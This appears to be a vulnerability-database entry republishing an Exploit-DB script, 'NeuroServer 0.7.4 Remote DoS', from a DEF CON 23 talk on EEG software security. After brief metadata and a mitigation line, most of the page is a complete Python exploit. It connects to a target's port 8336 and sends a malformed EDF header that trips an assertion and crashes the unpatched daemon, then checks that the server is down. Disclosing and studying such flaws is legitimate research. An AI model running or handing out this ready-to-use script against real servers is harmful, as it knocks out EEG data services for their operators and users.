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NeuroServer
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Shown at DEF CON 23 (BioHacking Village)
4.3
CVSS
MEDIUM
Denial of Service (DoS)
20
CWE
Product Name: NeuroServer
Affected Version From: NeuroServer 0.7.4
Affected Version To: NeuroServer 0.7.4
Patch Exists: NO
Related CWE: N/A
CPE: NeuroServer
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux
2015

NeuroServer 0.7.4 Remote DoS

NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver. Neuroserver mediates between the raw EEG devices and all the various EEG applications that the user may wish to run to analyse the incoming EEG data. Data is transmitted using TCP/IP, which means that the EEG data can just as easily pass over a network (or even the internet) as stay on the same machine. Standard EDF is used for header information and for file storage. The server is designed to run on Windows and Linux. nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at ~/NeuroServer-0.7.4/src/openedf.c, which checks if the data record is exactly 1 second, has at least one channel, and if channel 0 has at least one sample. If any of these conditions are not met, the assertion is triggered and the daemon stops.

Mitigation:

Ensure that the data record is exactly 1 second, has at least one channel, and that channel 0 has at least one sample.
Source

Exploit-DB raw data:

#!/usr/bin/env python
#
# NeuroServer 0.7.4 Remote DoS
#
# Shown at DEF CON 23 (BioHacking Village)
# Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies
# Slides: http://goo.gl/44r1HH
#
# NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver
# http://openeeg.sourceforge.net/doc/sw/NeuroServer/
#
# Neuroserver mediates between the raw EEG devices and all the various EEG 
# applications that the user may wish to run to analyse the incoming EEG data. 
# Data is transmitted using TCP/IP, which means that the EEG data can just as 
# easily pass over a network (or even the internet) as stay on the same machine. 
# Standard EDF is used for header information and for file storage. 
# The server is designed to run on Windows and Linux.
# 
#------------------------------------------------------------------------------
#
# nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at
# ~/NeuroServer-0.7.4/src/openedf.c:
# ...
#         assert(isValidREDF(result));
# ...
# int isValidREDF(const struct EDFDecodedConfig *cfg)
# {
#         int i;
#         if (cfg->hdr.dataRecordSeconds != 1.0) {
#                 setLastError("The data record must be exactly 1 second, not %f.",
#                                                                  cfg->hdr.dataRecordSeconds);
#                 return 0;
#         }
#         if (cfg->hdr.dataRecordChannels < 1) {
#                 setLastError("The data record must have at least one channel.");
#                 return 0;
#         }
#         if (cfg->chan[0].sampleCount < 1) {
#                 setLastError("Channel 0 must have at least one sample.");
#                 return 0;
#         }
#         for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) {
#                 if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) {
#                         setLastError("Channel %d has %d samples, but channel 0 has %d.  These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount);
#                         return 0;
#                 }
#         }
#         return 1;
# }
#

import socket
import time
import sys

# Malformed EDF header
# Spec: http://www.edfplus.info/specs/edf.html
EDF  = "0       " # Version
EDF += "Alejandro Hernandez                                                             " # Patient Identification
EDF += "NeuroSky MindWave                                                               " # Recording Identification
EDF += "07.04.1520.55.28768     EDF+C                                       "             # Startdate of Recording
EDF += "29      " # Number of Data Records
EDF += "1       " # Duration of a Data Record in Seconds
EDF += "1337    " # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS);
EDF += "Electrode       EDF Annotations                                                                                                                                                                                 "      # Labels and other data per channel
EDF += "-32768  -1      32767   1       -32768  -32768  32767   32767   " # PhysiMin PhysiMax DigiMin DigiMax

if len(sys.argv) != 2:
	print 'Usage: ' + __file__ + ' <NeuroServer IP>'
	sys.exit(1)

print r'''
                           __,--"""""""""--,.
                     _ -\'"                  _\ ^-,_
                  ,-"                     _/        \_
                 ,                    /    \          \
               ,'                    /_    |           \
              /           _____,--"""     /         )   \
             /           /               /         (     |
            |          /                /      )         |
            |         /  NeuroServer 0.7.4 Remote DoS     \
            (     (_/\      )                 /            \
             \        \_          ____,===="""    /        |
              \                /"                /""       |
               \_          _,-" |___,-'--------'"          |
                 "`------""   --"                 ,-'      /
                        /                     ---"        /
                        \___/          __,-----,___       )
                            \     ,--'"============""""-'"
                             "-'" |  |=================/
                                  /___\===============/
                                   /  |=============/"
                                   \   \_________,-"
                                   |   |
                                   |   |
'''

neuroserver = (sys.argv[1], 8336)

s = socket.socket()

print '|- Connecting to %s on port %s\n' % neuroserver
try:
	s.connect(neuroserver)
except Exception, e:
	print '|- Can\'t connect to %s:%d' % neuroserver
	print '|- Exception: %s' % (e)
	sys.exit(1)

print '|- Entering in EEG role. NeuroServers\' response:'
s.send('eeg\n') # EEG role in NeuroServer
print '----------------------------------------------'
print s.recv(16).strip('\n')
print '----------------------------------------------'

print '|- Sending Malformed EDF header (%d bytes):' % len(EDF)
print '----------------------------------------------'
print EDF
print '----------------------------------------------\n'
s.send('setheader ' + EDF + '\n')

time.sleep(4)

print '|- NeuroServer should be dead now. Connecting...\n'
try:
	s = socket.socket()
	s.connect(neuroserver)
except Exception, e:
	print '|- NeuroServer is down !'
	print '|- Exception: %s' % (e)
else:
	print '|- NeuroServer is still alive :-\, try again...'
finally:
	s.close()

sys.exit(0);